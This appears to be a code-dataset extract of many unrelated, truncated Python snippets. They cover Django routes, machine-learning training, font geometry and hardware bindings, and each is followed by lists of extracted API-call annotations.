"bas... | [((829, 850), 'matplotlib.use', 'matplotlib.use', (['"""PDF"""'], {}), "('PDF')\n", (843, 850), False, 'import matplotlib\n'), ((1670, 1689), 'optparse.OptionParser', 'OptionParser', (['usage'], {}), '(usage)\n', (1682, 1689), False, 'from optparse import OptionParser\n'), ((3270, 3290), 'h5py.File', 'h5py.File', (['da... |
from django.urls import path
from . import views
app_name = "shop"
urlpatterns = [
path('', views.HomePage.as_view(), name="home-page"),
path('shop/', views.ProductListView.as_view(), name="product-list"),
path('shop/<int:category_pk>/', views.ProductListView.as_view(), name="product-list"),
path('sho... | [
"django.urls.path"
] | [((406, 449), 'django.urls.path', 'path', (['"""cart/"""', 'views.cart_view'], {'name': '"""cart"""'}), "('cart/', views.cart_view, name='cart')\n", (410, 449), False, 'from django.urls import path\n'), ((455, 550), 'django.urls.path', 'path', (['"""cart/add/<int:product_pk>/"""', 'views.add_product_to_order'], {'name'... |
from hitori_generator import Generator
from argparse import ArgumentParser
def generate(n: int, output_file: str) -> None:
if n < 3 or n > 8:
print("It isn't valid size")
exit(4)
generator = Generator(n)
data = generator.generate()
lines = map(lambda x: ' '.join(map(str, x)), data)
... | [
"hitori_generator.Generator",
"argparse.ArgumentParser"
] | [((217, 229), 'hitori_generator.Generator', 'Generator', (['n'], {}), '(n)\n', (226, 229), False, 'from hitori_generator import Generator\n'), ((429, 445), 'argparse.ArgumentParser', 'ArgumentParser', ([], {}), '()\n', (443, 445), False, 'from argparse import ArgumentParser\n')] |
from common.make_tx import make_swap_tx
from sol.handle_simple import handle_unknown_detect_transfers
def handle_metaplex(exporter, txinfo):
transfers_in, transfers_out, _ = txinfo.transfers_net
if len(transfers_in) == 1 and len(transfers_out) == 1:
sent_amount, sent_currency, _, _ = transfers_out[0]... | [
"common.make_tx.make_swap_tx",
"sol.handle_simple.handle_unknown_detect_transfers"
] | [((1494, 1543), 'sol.handle_simple.handle_unknown_detect_transfers', 'handle_unknown_detect_transfers', (['exporter', 'txinfo'], {}), '(exporter, txinfo)\n', (1525, 1543), False, 'from sol.handle_simple import handle_unknown_detect_transfers\n'), ((403, 491), 'common.make_tx.make_swap_tx', 'make_swap_tx', (['txinfo', '... |
"""
Functions for testing independence of several distributions.
The functions in this module provide methods for testing if
the samples generated from two random vectors are independent.
"""
import numpy as np
import scipy.stats
from . import _dcor_internals, _hypothesis
from ._dcor import u_distance_correlation_sqr... | [
"numpy.sqrt"
] | [((9268, 9292), 'numpy.sqrt', 'np.sqrt', (['(1 - bcdcor ** 2)'], {}), '(1 - bcdcor ** 2)\n', (9275, 9292), True, 'import numpy as np\n'), ((9242, 9256), 'numpy.sqrt', 'np.sqrt', (['(v - 1)'], {}), '(v - 1)\n', (9249, 9256), True, 'import numpy as np\n')] |
#coding=utf-8
#性别识别
import cv2
from keras.models import load_model
import numpy as np
import chineseText
img = cv2.imread("img/gather.png")
face_classifier = cv2.CascadeClassifier(
"d:\Python36\Lib\site-packages\opencv-master\data\haarcascades\haarcascade_frontalface_default.xml"
)
gray = cv2.cvtColor(img, cv2.CO... | [
"cv2.rectangle",
"keras.models.load_model",
"cv2.imshow",
"cv2.waitKey",
"cv2.destroyAllWindows",
"cv2.cvtColor",
"numpy.expand_dims",
"cv2.CascadeClassifier",
"cv2.resize",
"cv2.imread",
"chineseText.cv2ImgAddText"
] | [((113, 141), 'cv2.imread', 'cv2.imread', (['"""img/gather.png"""'], {}), "('img/gather.png')\n", (123, 141), False, 'import cv2\n'), ((160, 299), 'cv2.CascadeClassifier', 'cv2.CascadeClassifier', (['"""d:\\\\Python36\\\\Lib\\\\site-packages\\\\opencv-master\\\\data\\\\haarcascades\\\\haarcascade_frontalface_default.xm... |
from django.test import TestCase
from os import path
from rest_framework import status
from rest_framework.test import APIClient
import random
from scheduler.models import Profile
from scheduler.factories import (
CourseFactory,
SpacetimeFactory,
UserFactory,
ProfileFactory,
SectionFactory,
Att... | [
"random.choice",
"scheduler.factories.create_attendances_for",
"scheduler.factories.UserFactory.create_batch",
"random.seed",
"rest_framework.test.APIClient",
"scheduler.factories.SectionFactory.create",
"scheduler.factories.ProfileFactory.create",
"scheduler.factories.CourseFactory.create",
"random... | [((388, 402), 'random.seed', 'random.seed', (['(0)'], {}), '(0)\n', (399, 402), False, 'import random\n'), ((3184, 3211), 'scheduler.factories.UserFactory.create_batch', 'UserFactory.create_batch', (['n'], {}), '(n)\n', (3208, 3211), False, 'from scheduler.factories import CourseFactory, SpacetimeFactory, UserFactory, ... |
import math
from fontTools.pens.recordingPen import RecordingPen, replayRecording
from fontTools.misc.bezierTools import calcCubicArcLength, splitCubicAtT
from coldtype.geometry import Rect, Point
def raise_quadratic(start, a, b):
c0 = start
c1 = (c0[0] + (2/3)*(a[0] - c0[0]), c0[1] + (2/3)*(a[1] - c0[1]))
... | [
"fontTools.misc.bezierTools.splitCubicAtT",
"fontTools.pens.recordingPen.RecordingPen",
"math.atan2",
"fontTools.misc.bezierTools.calcCubicArcLength"
] | [((650, 678), 'fontTools.misc.bezierTools.splitCubicAtT', 'splitCubicAtT', (['a', 'b', 'c', 'd', 't'], {}), '(a, b, c, d, t)\n', (663, 678), False, 'from fontTools.misc.bezierTools import calcCubicArcLength, splitCubicAtT\n'), ((951, 981), 'fontTools.misc.bezierTools.calcCubicArcLength', 'calcCubicArcLength', (['a', 'b... |
"""
Project for Udacity Danaodgree in Deep Reinforcement Learning
This script train an agent to navigate (and collect bananas!) in a large, square world.
A reward of +1 is provided for collecting a yellow banana, and a reward of -1 is provided for collecting a blue banana. Thus, the goal of your agent is to collect a... | [
"numpy.mean",
"collections.deque",
"dqn_agent.Agent",
"unityagents.UnityEnvironment",
"torch.cuda.is_available"
] | [((1524, 1564), 'unityagents.UnityEnvironment', 'UnityEnvironment', ([], {'file_name': '"""Banana.app"""'}), "(file_name='Banana.app')\n", (1540, 1564), False, 'from unityagents import UnityEnvironment\n'), ((1829, 1905), 'dqn_agent.Agent', 'Agent', ([], {'state_size': 'state_size', 'action_size': 'action_size', 'seed'... |
# Warsaw University of Technology
from layers.eca_block import ECABasicBlock
from models.minkgl import MinkHead, MinkTrunk, MinkGL
from models.minkloc import MinkLoc
from third_party.minkloc3d.minkloc import MinkLoc3D
from misc.utils import ModelParams
def model_factory(model_params: ModelParams):
in_channels ... | [
"models.minkgl.MinkHead",
"models.minkgl.MinkGL",
"models.minkloc.MinkLoc",
"models.minkgl.MinkTrunk",
"third_party.minkloc3d.minkloc.MinkLoc3D"
] | [((1835, 1902), 'models.minkgl.MinkHead', 'MinkHead', (['global_in_levels', 'global_in_channels', 'global_map_channels'], {}), '(global_in_levels, global_in_channels, global_map_channels)\n', (1843, 1902), False, 'from models.minkgl import MinkHead, MinkTrunk, MinkGL\n'), ((2370, 2491), 'models.minkgl.MinkTrunk', 'Mink... |
import sys
import ctypes
from Phidget22.PhidgetSupport import PhidgetSupport
from Phidget22.Async import *
from Phidget22.ChannelClass import ChannelClass
from Phidget22.ChannelSubclass import ChannelSubclass
from Phidget22.DeviceClass import DeviceClass
from Phidget22.DeviceID import DeviceID
from Phidget22.ErrorEvent... | [
"ctypes.CFUNCTYPE",
"ctypes.c_uint32",
"ctypes.byref",
"ctypes.c_int32",
"Phidget22.PhidgetSupport.PhidgetSupport.getDll",
"Phidget22.PhidgetException.PhidgetException",
"ctypes.WINFUNCTYPE",
"ctypes.c_int",
"ctypes.c_void_p",
"ctypes.c_char_p"
] | [((457, 474), 'ctypes.c_void_p', 'ctypes.c_void_p', ([], {}), '()\n', (472, 474), False, 'import ctypes\n'), ((1830, 1851), 'ctypes.c_int32', 'ctypes.c_int32', (['(65536)'], {}), '(65536)\n', (1844, 1851), False, 'import ctypes\n'), ((4772, 4793), 'ctypes.c_int32', 'ctypes.c_int32', (['flags'], {}), '(flags)\n', (4786,... |
# coding=utf-8
from __future__ import absolute_import, division, print_function, unicode_literals
from contextlib import contextmanager
import celery
import pytest
from celery.signals import setup_logging
import scout_apm.celery
from scout_apm.api import Config
# http://docs.celeryproject.org/en/latest/userguide/te... | [
"scout_apm.api.Config.set",
"celery.Celery",
"scout_apm.api.Config.reset_all",
"pytest.mark.skipif"
] | [((367, 461), 'pytest.mark.skipif', 'pytest.mark.skipif', (['(celery.VERSION < (4, 0))'], {'reason': '"""pytest fixtures added in Celery 4.0"""'}), "(celery.VERSION < (4, 0), reason=\n 'pytest fixtures added in Celery 4.0')\n", (385, 461), False, 'import pytest\n'), ((1268, 1288), 'scout_apm.api.Config.set', 'Config... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | [
"pulumi.get",
"pulumi.getter",
"pulumi.set",
"pulumi.InvokeOptions",
"pulumi.runtime.invoke"
] | [((6398, 6430), 'pulumi.getter', 'pulumi.getter', ([], {'name': '"""accessedAt"""'}), "(name='accessedAt')\n", (6411, 6430), False, 'import pulumi\n'), ((6624, 6662), 'pulumi.getter', 'pulumi.getter', ([], {'name': '"""autoDeleteOnIdle"""'}), "(name='autoDeleteOnIdle')\n", (6637, 6662), False, 'import pulumi\n'), ((693... |
import itertools
import signal
from copy import deepcopy
from typing import Union, Callable
import numpy as np
import quapy as qp
from quapy.data.base import LabelledCollection
from quapy.evaluation import artificial_prevalence_prediction, natural_prevalence_prediction, gen_prevalence_prediction
from quapy.method.agg... | [
"quapy.evaluation.natural_prevalence_prediction",
"signal.signal",
"util._check_sample_size",
"itertools.product",
"quapy.error.from_name",
"quapy.evaluation.artificial_prevalence_prediction",
"quapy.evaluation.gen_prevalence_prediction",
"signal.alarm",
"copy.deepcopy"
] | [((9694, 9727), 'itertools.product', 'itertools.product', (['*params_values'], {}), '(*params_values)\n', (9711, 9727), False, 'import itertools\n'), ((7798, 7943), 'quapy.evaluation.artificial_prevalence_prediction', 'artificial_prevalence_prediction', (['model', 'val_split', 'self.sample_size'], {'n_prevpoints': 'sel... |
# -*- coding: utf-8 -*-
import os
from flask_migrate import Migrate
from app import create_app, db
from app.models import User, Role, PoseToLocation
app = create_app(os.getenv('FLASK_CONFIG') or 'default')
migrate = Migrate(app, db)
# migrate 的新建 我们需要扫描到这些文件我们才能创建
@app.shell_context_processor
def make_shell_conte... | [
"unittest.TestLoader",
"flask_migrate.Migrate",
"unittest.TextTestRunner",
"os.getenv"
] | [((220, 236), 'flask_migrate.Migrate', 'Migrate', (['app', 'db'], {}), '(app, db)\n', (227, 236), False, 'from flask_migrate import Migrate\n'), ((170, 195), 'os.getenv', 'os.getenv', (['"""FLASK_CONFIG"""'], {}), "('FLASK_CONFIG')\n", (179, 195), False, 'import os\n'), ((505, 526), 'unittest.TestLoader', 'unittest.Tes... |
# Jetfuel Game Engine- A SDL-based 2D game-engine
# Copyright (C) 2018 InfernoStudios
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | [
"jetfuel.draw.image.image"
] | [((3591, 3613), 'jetfuel.draw.image.image', 'image', (['jetfuelsoloader'], {}), '(jetfuelsoloader)\n', (3596, 3613), False, 'from jetfuel.draw.image import image\n')] |
# coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | [
"flax.training.common_utils.shard",
"flax.optim.Adam",
"tensorflow.compat.v2.random.set_seed",
"latent_programmer.tasks.robust_fill.tokens.build_token_tables",
"absl.logging.info",
"jax.tree_map",
"latent_programmer.decode.beam_search",
"flax.training.common_utils.onehot",
"jax.jit",
"sys.path.app... | [((1590, 1615), 'sys.path.append', 'sys.path.append', (['"""../../"""'], {}), "('../../')\n", (1605, 1615), False, 'import sys\n'), ((1658, 1724), 'absl.flags.DEFINE_integer', 'flags.DEFINE_integer', (['"""seed"""', '(0)', '"""Fixed random seed for training."""'], {}), "('seed', 0, 'Fixed random seed for training.')\n"... |
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import click
import numba
def prepare_data(data_pd, parameter):
lon_set = set(data_pd["lon"])
lat_set = set(data_pd["lat"])
dep_set = set(data_pd["dep"])
lon_list = sorted(lon_set)
lat_list = sorted(lat_set)
dep_list = sor... | [
"matplotlib.pyplot.ylabel",
"numpy.arange",
"pandas.read_pickle",
"matplotlib.pyplot.contourf",
"click.option",
"numpy.where",
"matplotlib.pyplot.xlabel",
"numpy.max",
"numpy.linspace",
"numpy.min",
"numpy.meshgrid",
"click.command",
"matplotlib.pyplot.gca",
"numba.njit",
"numpy.deg2rad"... | [((1443, 1455), 'numba.njit', 'numba.njit', ([], {}), '()\n', (1453, 1455), False, 'import numba\n'), ((1691, 1703), 'numba.njit', 'numba.njit', ([], {}), '()\n', (1701, 1703), False, 'import numba\n'), ((1753, 1765), 'numba.njit', 'numba.njit', ([], {}), '()\n', (1763, 1765), False, 'import numba\n'), ((2009, 2021), '... |
from flask import Flask
from flask_appconfig import HerokuConfig
def create_sample_app():
app = Flask('testapp')
HerokuConfig(app)
return app
def test_herokupostgres(monkeypatch):
monkeypatch.setenv('HEROKU_POSTGRESQL_ORANGE_URL', 'heroku-db-uri')
app = create_sample_app()
assert app.config... | [
"flask_appconfig.HerokuConfig",
"flask.Flask"
] | [((102, 118), 'flask.Flask', 'Flask', (['"""testapp"""'], {}), "('testapp')\n", (107, 118), False, 'from flask import Flask\n'), ((123, 140), 'flask_appconfig.HerokuConfig', 'HerokuConfig', (['app'], {}), '(app)\n', (135, 140), False, 'from flask_appconfig import HerokuConfig\n')] |